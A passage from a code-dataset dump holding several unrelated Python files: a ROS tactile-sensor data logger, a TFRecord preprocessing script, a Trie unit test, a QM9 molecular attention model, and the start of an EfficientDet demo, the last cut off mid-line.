sensor_2_FT_history_second[read_count_sns_2_second-1,:]\n\n\n msg.sns1_vorticity = sensor_1_vorticity_history_second[read_count_sns_1_second-1,0]\n msg.sns2_vorticity = sensor_2_vorticity_history_second[read_count_sns_2_second-1,0]\n\n counter = counter + 1\n pub.publish(msg) \n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n ##################33\n \n\n \n ts.sendChar(\"i\")\n\n sensor_1_data_history_first = sensor_1_data_history_first[0:read_count_sns_1_first-1,:]\n GripperPosCMD_History = GripperPosCMD_History[0:read_count_sns_1_first-1,:]\n\n\n fftStorage_sns_1_NS = fftStorage_sns_1_NS[0:fftStoreCounter_sns_1,:]\n fftStorage_sns_1_WE = fftStorage_sns_1_WE[0:fftStoreCounter_sns_1,:]\n\n if IsTwoModeMerged:\n sensor_1_data_history_second = sensor_1_data_history_second[0:read_count_sns_1_second-1,:]\n sensor_1_FT_history_second = sensor_1_FT_history_second[0:read_count_sns_1_second-1,:]\n sensor_1_vorticity_history_second = sensor_1_vorticity_history_second[0:read_count_sns_1_second-1,:]\n\n\n if SensorNum == 2:\n sensor_2_data_history_first = sensor_2_data_history_first[0:read_count_sns_2_first-1,:]\n fftStorage_sns_2_NS = fftStorage_sns_2_NS[0:fftStoreCounter_sns_2,:]\n fftStorage_sns_2_WE = fftStorage_sns_2_WE[0:fftStoreCounter_sns_2,:]\n\n if IsTwoModeMerged:\n sensor_2_data_history_second = sensor_2_data_history_second[0:read_count_sns_2_second-1,:]\n sensor_2_FT_history_second = sensor_2_FT_history_second[0:read_count_sns_2_second-1,:]\n sensor_2_vorticity_history_second = sensor_2_vorticity_history_second[0:read_count_sns_2_second-1,:]\n\n\n\n\n #r.stopMotion()\n \n ts.closePort()\n \n #r.demo()\n \n if plotShow:\n #%% Plot the data\n import matplotlib.pyplot as plt\n # plt.figure()\n # plt.plot(sensor_2_data_history_first)\n # plt.ylabel('Digital Count')\n # plt.xlabel('sample')\n # plt.grid()\n # plt.show()\n\n # plt.figure()\n # plt.plot(sensor_2_data_history_second)\n # plt.ylabel('Digital Count')\n # plt.xlabel('sample')\n # plt.grid()\n # plt.show()\n\n # plt.figure()\n # plt.plot(fftStorage_sns_1_NS[:,0:5])\n # plt.ylabel('| FFT |')\n # plt.xlabel('sample')\n # plt.grid()\n # plt.show()\n\n # plt.figure()\n # plt.plot(fftStorage_sns_2_NS[:,0:5])\n # plt.ylabel('Digital Count')\n # plt.xlabel('sample')\n # plt.grid()\n # plt.show()\n\n fig, axs = plt.subplots(4) \n axs[0].plot(sensor_1_FT_history_second[30:,0:3])\n axs[0].set_title('Sensor A Force')\n axs[1].plot(sensor_1_FT_history_second[30:,3:])\n axs[1].set_title('Sensor A Moment')\n \n axs[2].plot(sensor_2_FT_history_second[30:,0:3])\n axs[2].set_title('Sensor B Force')\n axs[3].plot(sensor_2_FT_history_second[30:,3:])\n axs[3].set_title('Sensor B Moment')\n\n fig2,axs2 = plt.subplots(4)\n axs2[0].plot(fftStorage_sns_1_NS[:,0:3]) \n axs2[0].set_ylim([0,2000]) \n axs2[0].set_title('Sensor A N-S FFT')\n axs2[1].plot(fftStorage_sns_2_NS[:,0:3]) \n axs2[1].set_ylim([0,2000]) \n axs2[1].set_title('Sensor B N-S FFT')\n\n\n axs2[2].plot(fftStorage_sns_1_WE[:,0:3]) \n axs2[2].set_ylim([0,2000]) \n axs2[3].plot(fftStorage_sns_2_WE[:,0:3]) \n axs2[3].set_ylim([0,2000]) \n \n\n\n if sensingMode == MODE_TORSION_AND_INDIV:\n axs2[2].set_title('Sensor A Torsion FFT')\n axs2[3].set_title('Sensor B Torsion FFT')\n else:\n axs2[2].set_title('Sensor A W-E FFT')\n axs2[3].set_title('Sensor B W-E FFT')\n\n\n\n\n plt.show()\n \n\n\n #%% Save Output\n \n \n directory = ResultSavingDirectory +'/' + currDateOnlyString\n if not os.path.exists(directory):\n \tos.makedirs(directory)\n\n \n output_file = directory + '/'+ 'result_' +currDateTimeString + SavingFileName + '.mat'\n \t\n # # currDateString = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S_\")\n # output_file = ResultSavingDirectory + '/'+ 'result_' +currDateString + SavingFileName + '.csv'\n \n\n # Save as .mat file\n savemat(output_file, \n {'sensor_1_data_history_first':sensor_1_data_history_first,\n 'fftStorage_sns_1_NS':fftStorage_sns_1_NS,\n 'fftStorage_sns_1_WE':fftStorage_sns_1_WE,\n 'sensor_1_data_history_second' : sensor_1_data_history_second,\n 'sensor_1_FT_history_second' : sensor_1_FT_history_second,\n 'sensor_2_data_history_first':sensor_2_data_history_first,\n 'fftStorage_sns_2_NS':fftStorage_sns_2_NS,\n 'fftStorage_sns_2_WE':fftStorage_sns_2_WE,\n 'sensor_2_data_history_second' : sensor_2_data_history_second,\n 'sensor_2_FT_history_second' : sensor_2_FT_history_second,\n 'GripperPosCMD_History' : GripperPosCMD_History,\n 'sensingMode' : sensingMode,\n 'sensor_1_vorticity_history_second' : sensor_1_vorticity_history_second,\n 'sensor_2_vorticity_history_second' : sensor_2_vorticity_history_second,\n 'UR5_Y_pos' : UR5_Y_pos})\n\n # np.savetxt(output_file, sensor_1_data_history_second, delimiter=\",\")\n print(\"file Saved\")\n\n CMD_in = NO_CMD\n currState = IDLE\n UR5_Y_pos = 0\n gripperPosInput = -1\n\n\n\n\n\n\n\n \nif __name__ == '__main__':\n try:\n print(\"Started!\")\n mainLoop(sys.argv[1])\n except rospy.ROSInterruptException: pass\n\n\n\n\n\n\n\n\n\n##########################33\n\n\n\n# runTime = 15\n\n\n\n# SensorExist = 1\n# plotShow = 1\n\n# ResultSavingDirectory = '/home/tae/Data/JooyeunShear'\n# SavingFileName = 'test_box'\n\n\n\n# if SensorExist:\n# import datetime\n# currDateString = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S_\")\n# # output_file = ResultSavingDirectory + '\\\\'+ 'result_' +currDateString + SavingFileName + '.html'\n\n# ts = psoc.TactileSensor(port=\"/dev/ttyACM0\")\n# ts.ser.flushInput()\n \n# ts.sendChar(\"i\")\n# time.sleep(0.01)\n# ts.sendChar(\"q\")\n# time.sleep(0.01)\n \n# ts.packet_size = ord(ts.ser.read(1))-1\n# ts.num_sensors= (ts.packet_size - 1) / 2\n# ts.unpackFormat = '<'\n# for i in range(0,ts.packet_size):\n# ts.unpackFormat = ts.unpackFormat + 'B'\n \n \n \n# tic = time.time()\n \n# #Start Streaming\n# ts.sendChar(\"s\")\n \n# #%% Get Initial samples for measuring Offset Values\n \n# initialSamplingNum = 15\n# initialData = np.zeros((initialSamplingNum,ts.num_sensors))\n \n# for i in range(0,initialSamplingNum):\n# # print(ord(ts.ser.read(1))) \n# while ord(ts.ser.read(1))!= ts.STX:\n# continue\n \n# #Read rest of the data\n# initialData[i,:] = ts.readRestData()\n \n# #Ignore the first row\n# initialData = initialData[5:None,:]\n \n# initial_offset = np.mean(initialData,axis=0)\n \n# #%% Buffer\n# init_BufferSize = 5000;\n# dataBuffer = np.zeros((init_BufferSize,ts.num_sensors))\n# storingCounter = 0;\n \n# #ts.sendChar(\"i\")\n \n\n# #%%\n\n# tic = time.time()\n\n# stopCMDsent = False\n\n\n# while time.time() - tic < runTime:\n# if SensorExist:\n# while ord(ts.ser.read(1))!= ts.STX:\n# continue\n \n# #Read rest of the data\n# dataBuffer[storingCounter,:] = ts.readRestData()\n \n \n# storingCounter += 1\n \n# #if the data overflows\n# if storingCounter > dataBuffer.shape[0]-1:\n# dataBuffer = np.append(dataBuffer, np.zeros((init_BufferSize,ts.num_sensors)), axis=0)\n \n\n# if SensorExist: \n# dataBuffer = dataBuffer[0:storingCounter-1,:]\n# ts.sendChar(\"i\")\n\n# #r.stopMotion()\n\n\n# if SensorExist:\n# ts.closePort()\n \n# #r.demo()\n \n# if plotShow:\n# #%% Plot the data\n# import matplotlib.pyplot as plt\n# plt.figure()\n# plt.plot(dataBuffer)\n# plt.ylabel('Digital Count')\n# plt.xlabel('sample')\n# plt.grid()\n# plt.show()\n \n# #%% Save Output\n# import datetime\n# currDateString = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S_\")\n# output_file = ResultSavingDirectory + '/'+ 'result_' +currDateString + SavingFileName + '.csv'\n \n# np.savetxt(output_file, dataBuffer, delimiter=\",\")\n\n","sub_path":"src/tae_psoc/src/psocPubSub_ForDynamicReallocation.py","file_name":"psocPubSub_ForDynamicReallocation.py","file_ext":"py","file_size_in_byte":37522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"27216406","text":"import tensorflow as tf\nimport numpy as np\nimport random\nimport os\nimport datetime\nimport json\nfrom utils.open_save_file import get_input_and_label, get_input_and_label_new_data, read_file\n\nnumdeg = 4 # Number of images on each example\n\n# Default value\nconfigs = {'train_eval_ratio': 0.8,\n 'data_type': 'BL_median',\n }\n\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n\n# Run images from stl_to_image.py into tfrecords\ndef serialize_image(example):\n global numdeg\n # Record name and image data\n feature = {}\n for i in range(numdeg):\n feature['img' + str(i)] = _bytes_feature(example['img' + str(i)])\n # Record all available label, mostly int except for 'name'\n for d in configs['data_type']:\n if d == \"name\":\n feature[d] = _bytes_feature(bytes(example[d], encoding='utf8'))\n else:\n feature[d] = _int64_feature(example[d])\n\n tf_example = tf.train.Example(features=tf.train.Features(feature=feature))\n return tf_example.SerializeToString()\n\n\ndef read_image(file_name, label):\n global numdeg\n file_values = label\n for i in range(numdeg):\n file_values['img' + str(i)] = tf.read_file(file_name[i])\n return file_values\n\n\ndef image_write_tfrecord(all_data, file_dir, degree, image_width, image_height):\n \"\"\"\n Create tfrecord file by adding each datapoint sequentially\n :param all_data: List of all data to save as tfrecords\n :param file_dir: Directory and file name to save (End with .tfrecords)\n :param degree: List of degree used\n :param coordinate_length: Number of points on each file (Similar to image size but in 1D)\n :return:\n \"\"\"\n image_address, labels = all_data\n with tf.python_io.TFRecordWriter(file_dir) as writer:\n for im_add, label in zip(image_address, labels):\n # default_key = list(data.keys())[0] # Use for label since score should be the same\n # Add general info\n feature = {'degree': _int64_feature(degree), 'width': _int64_feature(image_width), 'height': _int64_feature(image_height)}\n # Add labels\n for d in configs['data_type']:\n if d == \"name\": # Save name as bytes\n feature[d] = _bytes_feature(bytes(label[d], encoding='utf8'))\n else: # Save other score as int\n feature[d] = _int64_feature(label[d])\n # Add data\n for n in range(degree): # Flatten each degree\n value = open(im_add[n],'rb').read()\n # Save image as float list\n feature['img_%s' % n] = _bytes_feature(bytes(value))\n example = tf.train.Example(features=tf.train.Features(feature=feature))\n # Write TFrecord file\n writer.write(example.SerializeToString())\n\n\ndef image_to_tfrecord(tfrecord_name, dataset_folder, csv_dir=None, k_fold=None): # Deprecated\n \"\"\"\n\n :param tfrecord_name: String, Name of .tfrecord output file\n :param dataset_folder: Folder of the input data (Not include label)\n :param csv_dir: Folder of label data (If not specified, will use the default directory)\n :param k_fold: Boolean, Option to save tfrecord for k_fold usage\n :param k_num: int, If k_fold is true, select amount of k-fold\n :return: save 3 files: train.tfrecord, eval.tfrecord, config (as .json)\n \"\"\"\n print(\"Warning, this function is deprecated\")\n # Create new directory if not created, get all info and zip to tfrecord\n if tfrecord_name.split('.')[-1] == \"tfrecords\": # Remove extension if exist\n tfrecord_name = os.path.splitext(os.path.basename(tfrecord_name))[0]\n tfrecord_dir = os.path.join(\"../data/tfrecord\", tfrecord_name)\n if not os.path.exists(tfrecord_dir):\n os.makedirs(tfrecord_dir)\n\n degree = 4\n # Read config file to get amount of degree and augmentation\n # config_data = read_file(os.path.join(dataset_folder, \"config.json\"))\n # configs['numdeg'], configs['num_augment'] = config_data[0], config_data[1]\n with open(os.path.join(dataset_folder, \"config.json\"), 'r') as filehandler:\n data = json.load(filehandler)\n configs['degree'] = data['degree']\n configs['augment'] = [str(i).replace(\"-\", \"n\").replace(\".\", \"-\") for i in data['augment_config']]\n seed = random.randint(0, 1000000) # So that the result is always the same\n # Get file name from dataset_folder\n grouped_train_address, grouped_eval_address = get_input_and_label(tfrecord_name, dataset_folder, configs, seed,\n get_data=False, k_fold=k_fold)\n\n time_stamp = datetime.datetime.now().strftime(\"%Y%m%d_%H_%M_%S\")\n if k_fold is None:\n k_fold = 1\n for i in range(k_fold):\n train_address = grouped_train_address[i]\n eval_address = grouped_eval_address[i]\n\n tfrecord_train_name = os.path.join(tfrecord_dir, \"%s_%s_train.tfrecords\" % (tfrecord_name, i))\n tfrecord_eval_name = os.path.join(tfrecord_dir, \"%s_%s_eval.tfrecords\" % (tfrecord_name, i))\n\n image_write_tfrecord(train_address, tfrecord_train_name, degree, 360, 240)\n image_write_tfrecord(eval_address, tfrecord_eval_name, degree, 360, 240)\n print(\"TFrecords created: %s, %s\" % (tfrecord_train_name, tfrecord_eval_name))\n # Update info in json file\n with open(\"../data/tfrecord/%s/%s_%s.json\" % (tfrecord_name, tfrecord_name, i)) as filehandle:\n data_loaded = json.load(filehandle)\n data_loaded[\"data_degree\"] = 4\n data_loaded[\"data_width\"] = 360\n data_loaded[\"data_height\"] = 240\n data_loaded[\"dataset_name\"] = [\"img\"]\n data_loaded[\"timestamp\"] = time_stamp\n with open(\"../data/tfrecord/{}/{}_{}.json\".format(tfrecord_name, tfrecord_name, i), 'w') as filehandle:\n json.dump(data_loaded, filehandle, indent=4, sort_keys=True, separators=(',', ': '), ensure_ascii=False)\n print(\"TFrecords created: {}, {}\".format(tfrecord_train_name, tfrecord_eval_name))\n\n\n# Run images from stl_to_image.py into tfrecords, not using right now\ndef serialize_coordinate(example):\n feature = {}\n for i in range(numdeg):\n feature['img' + str(i)] = _float_feature(example['img' + str(i)])\n # Record all available label\n for d in configs['data_type']:\n if d == \"name\":\n feature[d] = _bytes_feature(bytes(example[d], encoding='utf8'))\n else:\n feature[d] = _int64_feature(example[d])\n\n tf_example = tf.train.Example(features=tf.train.Features(feature=feature))\n return tf_example.SerializeToString()\n\n\ndef read_coordinate(file_name, label):\n file_values = label\n # file_values = {'label': label}\n for i in range(numdeg):\n file_values['img' + str(i)] = (file_name[i] * 10000).tostring()\n return file_values\n\n\ndef write_tfrecord(all_data, file_dir, degree, coordinate_length):\n \"\"\"\n Create tfrecord file by adding each datapoint sequentially\n :param all_data: List of all data to save as tfrecords\n :param file_dir: Directory and file name to save (End with .tfrecords)\n :param degree: List of degree used\n :param coordinate_length: Number of points on each file (Similar to image size but in 1D)\n :return:\n \"\"\"\n with tf.python_io.TFRecordWriter(file_dir) as writer:\n for data in all_data:\n default_key = list(data.keys())[0] # Use for label since score should be the same\n # Add general info\n feature = {'degree': _int64_feature(degree), 'length': _int64_feature(coordinate_length)}\n # Add labels\n for d in configs['data_type']:\n if d == \"name\": # Save name as bytes\n feature[d] = _bytes_feature(bytes(data[default_key][1][d], encoding='utf8'))\n else: # Save other score as int\n feature[d] = _int64_feature(data[default_key][1][d])\n # Add data\n for dname in data.keys(): # Flatten each dataset (in case of more than one)\n for n in range(degree): # Flatten each degree\n for j in range(2): # Flatten x,y axis\n val = data[dname][0][n][:, j].reshape(-1)\n if np.shape(val)[0] != coordinate_length:\n print(\"Error\", data[dname][1][\"name\"])\n print(np.shape(val)[0])\n # Save image as float list\n feature['%s_%s_%s' % (dname, n, j)] = tf.train.Feature(float_list=tf.train.FloatList(value=val))\n example = tf.train.Example(features=tf.train.Features(feature=feature))\n # Write TFrecord file\n writer.write(example.SerializeToString())\n\n\ndef coordinate_to_tfrecord(tfrecord_name, dataset_folders, mode=\"default\", k_fold=None):\n \"\"\"\n tfrecord_name : Name of .tfrecord output file\n dataset_folder : Folder of the input data (Not include label)\n mode : \"default\" or \"new\"\n k_fold : Integer, amount of K-fold cross validation. Can be None to disable\n save 4 files: train.tfrecord, eval.tfrecord, .txt (Save from another file)\n \"\"\"\n\n # Create new directory if not created, get all info and zip to tfrecord\n if tfrecord_name.split('.')[-1] == \"tfrecords\": # Remove extension if exist\n tfrecord_name = tfrecord_name[0:-10]\n tfrecord_dir = os.path.join(\"../data/tfrecord\", tfrecord_name)\n if not os.path.exists(tfrecord_dir):\n os.makedirs(tfrecord_dir)\n\n if isinstance(dataset_folders, str):\n dataset_folders = {'img': dataset_folders}\n\n if k_fold is None:\n dataset_list = [dict()]\n else:\n dataset_list = [dict() for i in range(k_fold)]\n seed = random.randint(0, 1000000) # So that the result is always the same\n\n # Convert data into list (kfolds) of dictionary (left/right/...) of list of (train,eval) data\n for dataset_name, dataset_folder in dataset_folders.items():\n # Get amount of degree and augmentation\n try: # We have two version, json file and txt file(old)\n with open(os.path.join(dataset_folder, \"config.json\"), 'r') as filehandler:\n data = json.load(filehandler)\n configs['degree'] = data['degree']\n configs['augment'] = [str(i).replace(\"-\", \"n\").replace(\".\", \"-\") for i in data['augment_config']]\n except FileNotFoundError:\n data = read_file(os.path.join(dataset_folder, \"config.txt\"))\n if int(data[0][0]) == 4:\n configs['degree'] = [0, 45, 90, 135]\n elif int(data[0][0]) == 1:\n configs['degree'] = [0]\n else:\n configs['degree'] = 0\n if int(data[1][0]) == 14:\n configs['augment'] = ['0', '1', '2', '3', 'n1', 'n2', 'n3', '180', '181', '182', '183', '179', '178',\n '177']\n elif int(data[1][0]) == 1:\n configs['augment'] = ['0']\n else:\n raise ValueError(\"Select correct augment\", int(data[1][0]))\n # configs['numdeg'] = int(data[0][0]) # Get data from config.txt\n # configs['num_augment'] = int(data[1][0])\n\n # Get data from dataset_folder\n if not mode == \"new\":\n grouped_train_data, grouped_eval_data = get_input_and_label(tfrecord_name, dataset_folder,\n configs, seed, get_data=True, k_fold=k_fold)\n else:\n grouped_train_data, grouped_eval_data = get_input_and_label_new_data(tfrecord_name, dataset_folder,\n score_dir=\"../data/new_score(okuyama).csv\",\n configs=configs, seed=seed,\n get_data=True, k_fold=None)\n # if k_fold is None:\n # k_fold = 1\n # grouped_train_data = [grouped_train_data]\n # grouped_eval_data = [grouped_eval_data]\n for i, (td, ed) in enumerate(zip(grouped_train_data, grouped_eval_data)):\n dataset_list[i][dataset_name] = [td, ed]\n\n if k_fold is None:\n k_fold = 1\n\n time_stamp = datetime.datetime.now().strftime(\"%Y%m%d_%H_%M_%S\")\n for i in range(k_fold):\n tfrecord_train_name = os.path.join(tfrecord_dir, \"%s_%s_train.tfrecords\" % (tfrecord_name, i))\n tfrecord_eval_name = os.path.join(tfrecord_dir, \"%s_%s_eval.tfrecords\" % (tfrecord_name, i))\n dataset_dict = dataset_list[i]\n\n coordinate_length = len(list(dataset_dict.values())[0][0][0][0][0])\n degree = len(list(dataset_dict.values())[0][0][0][0])\n dataset_name = dataset_dict.keys()\n\n # Rearrange order of data\n train_data = []\n eval_data = []\n data_amount = len(list(dataset_dict.values())[0][0]) # Sample amount of train data\n for j in range(data_amount):\n td = {}\n for n in dataset_name:\n td[n] = dataset_dict[n][0][j]\n train_data.append(td)\n data_amount = len(list(dataset_dict.values())[0][1]) # Sample amount of eval data\n for j in range(data_amount):\n ed = {}\n for n in dataset_name:\n ed[n] = dataset_dict[n][1][j]\n eval_data.append(ed)\n\n write_tfrecord(train_data, tfrecord_train_name, degree, coordinate_length)\n write_tfrecord(eval_data, tfrecord_eval_name, degree, coordinate_length)\n\n # Update info in json file\n with open(\"../data/tfrecord/%s/%s_%s.json\" % (tfrecord_name, tfrecord_name, i)) as filehandle:\n data_loaded = json.load(filehandle)\n data_loaded[\"data_degree\"] = degree\n data_loaded[\"data_length\"] = coordinate_length\n data_loaded[\"dataset_name\"] = list(dataset_folders.keys())\n data_loaded[\"timestamp\"] = time_stamp\n with open(\"../data/tfrecord/{}/{}_{}.json\".format(tfrecord_name, tfrecord_name, i), 'w') as filehandle:\n json.dump(data_loaded, filehandle, indent=4, sort_keys=True, separators=(',', ': '), ensure_ascii=False)\n print(\"TFrecords created: {}, {}\".format(tfrecord_train_name, tfrecord_eval_name))\n\n\nif __name__ == '__main__':\n data_mode = \"coordinate\" # image or coordinate or new\n # Select type of label to use\n label_data = [\"name\", \"Occ_B_median\", \"Occ_F_median\", \"Occ_L_median\", \"BL_median\", \"MD_median\",\n \"Integrity_median\", \"Width_median\", \"Surface_median\", \"Sharpness_median\"]\n label_data_new = [\"name\", \"Taper\", \"Width\", \"Sharpness\"]\n configs['train_eval_ratio'] = 0.8\n k_fold = None\n\n if data_mode == \"new\":\n configs['data_type'] = label_data_new\n else:\n configs['data_type'] = label_data\n print(\"Use label from {} with ({}) train:eval ratio\".format(configs['data_type'], configs['train_eval_ratio']))\n\n if data_mode == \"image\":\n image_to_tfrecord(tfrecord_name=\"image_14aug\", dataset_folder=\"../data/image_14aug\",\n k_fold=k_fold)\n elif data_mode == \"coordinate\":\n coordinate_to_tfrecord(tfrecord_name=\"coor_0aug\",\n dataset_folders=\"../data/coor_0aug\", k_fold=k_fold)\n # coordinate_to_tfrecord(tfrecord_name=\"coor_right\",\n # dataset_folders=\"../data/segment_14/right_point\", k_fold=k_fold)\n # coordinate_to_tfrecord(tfrecord_name=\"coor_left_right\", dataset_folders={'right': \"../data/segment_14/right_point\",\n # 'left': \"../data/segment_14/left_point\"},\n # k_fold=k_fold)\n elif data_mode == \"new\":\n coordinate_to_tfrecord(tfrecord_name=\"coor_42aug\" + \"_new_data\",\n dataset_folders=\"../data/coor_42aug\", mode=\"new\", k_fold=k_fold)\n else:\n raise ValueError(\"Wrong data_mode\")\n print(\"Complete\")\n","sub_path":"preprocess/image_to_tfrecord.py","file_name":"image_to_tfrecord.py","file_ext":"py","file_size_in_byte":16424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486104371","text":"\"\"\"\nTo run unittest from command line interface:\n cd (this directory)\n python3 -m unittest unit_test_trie\n\"\"\"\n\nimport unittest\nfrom trie import Trie\n\nclass TrieTestCase(unittest.TestCase):\n\n def setUp(self):\n self.t = Trie(26)\n t = self.t\n t.insert('by', 4)\n t.insert('sea', 6)\n t.insert('sells', 1)\n t.insert('shells', 3)\n t.insert('shore', 7)\n t.insert('she', 0)\n t.insert('the', 5)\n\n def test_of_get(self):\n t = self.t\n self.assertEqual(t.get('shells'), 3)\n self.assertEqual(t.get('she'), 0)\n self.assertIsNone(t.get('him'))\n\n def test_of_keys_with_prefix(self):\n t = self.t\n self.assertEqual(\n t.keys_with_prefix('sh'),\n ['she', 'shells', 'shore'])\n","sub_path":"data_structures/tree/unit_test_trie.py","file_name":"unit_test_trie.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"507445494","text":"import numpy as np \n# import pandas as pd\nimport tensorflow as tf \nfrom tensorflow.keras.layers import AdditiveAttention, Dense, Embedding, GRU, Concatenate\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras import Input\nfrom keras_multi_head import MultiHead\nfrom torch_geometric.datasets import QM9\n# path = '/home/quang/work/data/meg_data/' \ndef tokenize(sequence, maxl=200):\n seq_tokenizer = tf.keras.preprocessing.text.Tokenizer(\n filters='', split='#')\n seq_tokenizer.fit_on_texts(sequence)\n # seq_tokenizer.fit_on_sequences(sequence)\n # tensor = seq_tokenizer.sequences_to_matrix(sequence)\n tensor = seq_tokenizer.texts_to_sequences(sequence)\n tensor = tf.keras.preprocessing.sequence.pad_sequences(tensor,\n padding='post',\n maxlen=maxl)\n return tensor, seq_tokenizer\n\ndef convert(lang, tensor):\n for t in tensor:\n if t!=0:\n print (\"%d ----> %s\" % (t, lang.index_word[t]))\n\ndef cal_distants(position, e_index):\n dis = []\n for x in range(len(e_index[0])):\n d = [position[e_index[0][x]][i]-position[e_index[1][x]][i] for i in range(3)]\n dis.append(np.linalg.norm(d))\n return dis\n\ndef cal_angle(c1,c2,c3, position):\n vec1 = [position[c1][i]-position[c2][i] for i in range(3)]\n vec2 = [position[c2][i]-position[c3][i] for i in range(3)]\n dot = np.dot(vec1,vec2)\n le = np.linalg.norm(vec1)*np.linalg.norm(vec2)\n return np.arccos(dot/le)\n # return np.arccos(dot/le)*180/np.pi\n\npath = '/home/quang/work/data/torch_qm9/' \n# path = './'\ndata = QM9(path) \nprint(data[0]['x'])\n\nedges = []\nvertexs = []\nlabels = []\nedges_index = []\npos = []\nle_data = len(data)\nfor x in data:\n edges.append(np.array(x['edge_attr']))\n vertexs.append(np.array(x['x']))\n labels.append(np.array(x['y']))\n # add 1 to eradicate 0., later for masking\n edges_index.append(np.array(x['edge_index']))\n pos.append(np.array(x['pos']))\n\nangles = []\nbonds_in_angles = []\ndistants = []\nfor i, da in enumerate(edges_index):\n print(i)\n dist = cal_distants(pos[i], edges_index[i])\n ang_tri = []\n bo = []\n di = []\n for x1 in range(len(da[0])):\n curr_p1 = da[0][x1]\n curr_p2 = da[1][x1]\n for x2 in range(len(da[0])):\n if curr_p2==da[0][x2] and da[1][x2]!=curr_p1:\n curr_p3 = da[1][x2]\n ang_tri.append([curr_p1, curr_p2, curr_p3])\n bo.append([(edges[i][x1]), (edges[i][x2])])\n di.append([dist[x1], dist[x2], cal_angle(curr_p1, curr_p2, curr_p3, pos[i]), curr_p1+1, curr_p2+1, curr_p3+1, 0., 0.])\n angles.append(ang_tri)\n bonds_in_angles.append(bo)\n distants.append(di)\n if i==100:\n break\n\nle_a = 200\nnew_b = [] \nfor x in bonds_in_angles: \n st = '' \n for b in x: \n st = st + '#' + str(list(b[0])) + '#' + str(list(b[1])) \n new_b.append(st)\nprint('done b')\ntensor_b, token = tokenize(new_b, maxl=le_a)\n# t = list(map(np.array, tensor_b))\n# tensor_b = [x.reshape(int(len(x)/2), 2) for x in t]\n# le = len(max(t, key=len))\n# le_a = len(t[0])\n# print(le_a)\n\n# padding distants\nfor i,x in enumerate(distants):\n for y in range(len(x), int(le_a/2)):\n x.append([0.,0.,0.,0.,0.,0.])\n distants[i] = np.array(x)\n\n# re-encode vertexs\nle_v = 87\nnew_v = []\nv_pos = []\nfor vertex in vertexs:\n st = ''\n for n in vertex:\n st = st + '#' + str(list(n[:6])) + '#' + str(list(n[6:10])) + '#' + str(list(n[10:]))\n new_v.append(st)\n v_temp = np.arange(1,30)\n v_temp[len(vertex):] = 0.\n v_pos.append(v_temp)\ntensor_v, token_v = tokenize(new_v, maxl=87)\nprint('done v')\n# position encode vertexs\n\n\n################################\nle_a=200\nle_v=87\nbo_input = Input(shape=(le_a,), name='bond_test')\n# print(bo_input.shape)\nx = Embedding(4, 4, input_length=le_a, mask_zero=True)(bo_input)\nx = Flatten()(x)\nx = tf.keras.layers.Reshape((int(x.shape[-1]/8), 8))(x)\n# print(x.shape)\n\n################################\n\ndis_input = Input(shape=(int(le_a/2), 8), name='dis_test')\nx1 = tf.keras.layers.Masking(mask_value=0.)(dis_input)\nmask_angles = x1._keras_mask\nangles_tensor = tf.keras.layers.concatenate([x, x1])\nprint(angles_tensor.shape)\n\n#################################\n\nver_input = Input(shape=le_v, name='vertexs_test')\nz = Embedding(30, 5, input_length=le_v, mask_zero=True)(ver_input)\nz = Flatten()(z)\nz = tf.keras.layers.Reshape((int(z.shape[-1]/15), 15))(z)\n\n##################################\n\npo_encode_input = Input(shape=(29,), name='po_encode_input')\ntt = tf.keras.backend.expand_dims(po_encode_input, axis=-1)\ntt = tf.keras.layers.Masking(mask_value=0.)(tt)\nmask_vertex = tt._keras_mask\nvertexs_tensor = tf.keras.layers.concatenate([z, tt], axis=-1)\nprint(vertexs_tensor.shape)\n\n##################################\n# angles_tensor1 = angles_tensor\nfor i in range(3):\n atten_on_vertexs = AdditiveAttention()(inputs=[angles_tensor, vertexs_tensor], mask=[mask_angles, mask_vertex])\n a_con = tf.keras.layers.concatenate([angles_tensor, atten_on_vertexs])\n angles_tensor_1 = Dense(16, name='reshape_ang_tensor_' + str(i))(a_con)\n print(angles_tensor_1.shape)\n\n atten_on_angles = AdditiveAttention()(inputs=[vertexs_tensor, angles_tensor], mask=[mask_vertex, mask_angles])\n v_con = tf.keras.layers.concatenate([vertexs_tensor, atten_on_angles])\n vertexs_tensor_1 = Dense(16, name='reshape_ver_tensor_' + str(i))(v_con)\n print(vertexs_tensor_1.shape)\n\n angles_tensor = angles_tensor_1\n vertexs_tensor = vertexs_tensor_1\n\n\nx = Flatten()(vertexs_tensor)\nout_temp = Dense(1)(x)\n\nmodel = tf.keras.Model(inputs=[bo_input, dis_input, ver_input, po_encode_input], outputs=out_temp)\n\nmodel.summary()\ntf.keras.utils.plot_model(model, to_file='model.png')","sub_path":"exlore_data.py","file_name":"exlore_data.py","file_ext":"py","file_size_in_byte":5814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"293581906","text":"import torch\nimport cv2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom models import EfficientDet\nfrom torchvision import transforms\nimport numpy as np\nimport skimage\nfrom datasets import get_augumentation, VOC_CLASSES\nfrom timeit import default_timer as timer\nimport argparse\nimport copy\nimport numpy as np\nfrom utils import vis_bbox, EFFICIENTDET\n# import onnx\n# import onnxruntime\nimport time\n# from torch2trt import torch2trt\nparser = argparse.ArgumentParser(description='EfficientDet')\n\nparser.add_argument('-n', '--network', default='efficientdet-d0',\n help='efficientdet-[d0, d1, ..]')\nparser.add_argument('-s', '--score', default=True,\n action=\"store_true\", help='Show score')\nparser.add_argument('-t', '--threshold', default=0.6,\n type=float, help='Visualization threshold')\nparser.add_argument('-it', '--iou_threshold', default=0.6,\n type=float, help='Visualization threshold')\nparser.add_argument('-w', 